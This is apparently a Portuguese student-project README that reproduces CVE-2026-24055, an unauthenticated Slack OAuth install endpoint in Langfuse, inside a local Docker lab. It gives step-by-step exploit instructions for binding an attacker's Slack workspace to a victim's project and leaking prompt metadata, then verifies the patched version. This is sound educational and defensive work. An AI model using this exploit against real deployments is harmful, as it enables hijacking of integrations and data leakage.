CVE-2026-24055 — Instalação do Slack OAuth sem autenticação no Langfuse

Projeto da disciplina de Segurança Web e de Aplicações — Grupo 06, turma NT213.Q21.ANTT

📌 Resumo

O projeto reproduz uma vulnerabilidade de segurança real já divulgada (CVE-2026-24055) na plataforma Langfuse — um endpoint OAuth que permite a um atacante assumir a conexão de um workspace do Slack a um projeto de outra pessoa sem precisar de autenticação.

O projeto inclui: montagem de um ambiente Docker que simula tanto a versão vulnerável quanto a versão corrigida, execução do exploit passo a passo e verificação de que a correção funciona corretamente. Com isso, pratica-se a análise de vulnerabilidades de Controle de Acesso no fluxo OAuth, uma habilidade aplicável diretamente na construção ou auditoria de sistemas de autenticação web.

Habilidades demonstradas: análise de fluxo OAuth2, Docker, leitura de security advisories, redação de relatórios técnicos, testes de segurança (security testing).

---

Índice

• Descrição da vulnerabilidade
• Requisitos do sistema
• Preparação antes de executar
• Demo do exploit — Vulnerable v3.146.0
• Verificação da correção — Patched v3.147.0
• Encerrar o ambiente
• Referências

---

Descrição da vulnerabilidade

CVE-2026-24055 é uma vulnerabilidade de Improper Access Control no Langfuse da versão 3.89.0 até 3.146.0.

O endpoint /api/public/slack/install não exige autenticação, permitindo que o atacante vincule seu workspace do Slack a qualquer projeto apenas conhecendo o projectId. Quando a vítima cria uma automação que envia notificações ao Slack, todo o conteúdo do prompt vaza para o workspace do atacante.

Atributo	Detalhe
CWE	CWE-284 — Improper Access Control
Versões afetadas	Langfuse 3.89.0 – 3.146.0
Versão corrigida	Langfuse 3.147.0
GitHub Advisory	GHSA-pvq7-vvfj-p98x
NVD	CVE-2026-24055

Fluxo do ataque

---

Requisitos do sistema

Ferramenta	Versão mínima
Docker Desktop	24.0+
Docker Compose	v2
Git	qualquer
RAM	8 GB

---

Preparação antes de executar

Criar o Slack App

A API do Slack permite usar http://localhost:3000 como Redirect URL.

1. Acesse https://api.slack.com/apps → Create New App → From scratch
2. Defina o nome do app, escolha o workspace
3. Vá em OAuth & Permissions → Redirect URLs → adicione:

   http://localhost:3000
   

4. Salve o Client ID e o Client Secret

---

Demo do exploit — Vulnerable v3.146

Passo 1 — Configurar o ambiente

cd vulnerable
cp .env.example .env

Abra o arquivo .env e preencha os seguintes valores:

NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string

Passo 2 — Iniciar o Langfuse v3.146.0

docker compose up -d

Verifique se os containers estão prontos:

docker compose ps

Aguarde cerca de 30–60 segundos. Todos os containers devem estar no estado Up (healthy).

Passo 3 — Criar contas

Acesse http://localhost:3000:

1. Conta da vítima

   • Registre uma conta, crie uma Organization → crie um Project
   • Vá em Settings → anote o Project ID

2. Conta do atacante

   • Abra uma aba anônima, registre outra conta (ou não faça login)

Passo 4 — Executar o exploit

No navegador do atacante (sem precisar de login no Langfuse), acesse:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

O fluxo ocorre assim:

• O servidor não verifica autenticação, redireciona direto para o Slack OAuth
• Faça login no workspace do Slack do atacante → clique em Allow
• O workspace do atacante foi vinculado ao projeto da vítima

Passo 5 — Confirmar o vazamento de dados

Faça login com a conta da vítima:

1. Vá em Settings → Integrations → verifique se o Slack está conectado (workspace do atacante)
2. Crie uma Automation: Prompts → Automations → New
   • Trigger: Prompt created / updated / deleted
   • Action: Slack → escolha o canal
3. A vítima cria um novo prompt
4. O Slack do atacante recebe a notificação contendo os metadados do prompt (nome, versão, labels, tags)

---

Verificação da correção — Patched v3.147

Passo 1 — Encerrar o ambiente antigo

cd ../vulnerable
docker compose down

Passo 2 — Iniciar o Langfuse v3.147.0

cd ../patched
cp .env.example .env
# Preencha os valores iguais aos da parte vulnerable
docker compose up -d

Passo 3 — Executar o exploit novamente

Tente sem fazer login:

http://localhost:3000/api/public/slack/install?projectId=<any-project-id>

Resultado esperado — HTTP 401:

{ "error": "Authentication required" }

Tente fazer login como atacante, usando o projectId da vítima:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

Resultado esperado — HTTP 403:

{ "error": "You do not have permission to configure Slack for this project" }

A vulnerabilidade foi totalmente corrigida.

---

Encerrar o ambiente

docker compose down

Se quiser apagar todos os dados (volumes):

docker compose down -v

---

Estrutura de diretórios

cve-2026-24055/
├── README.md                  ← este arquivo
├── vulnerable/
│   ├── docker-compose.yml     ← Langfuse v3.146.0 (vulnerável)
│   └── .env.example
└── patched/
    ├── docker-compose.yml     ← Langfuse v3.147.0 (corrigido)
    └── .env.example

---

Referências

• GitHub Security Advisory — GHSA-pvq7-vvfj-p98x
• NVD — CVE-2026-24055
• Commit fix — 3adc89e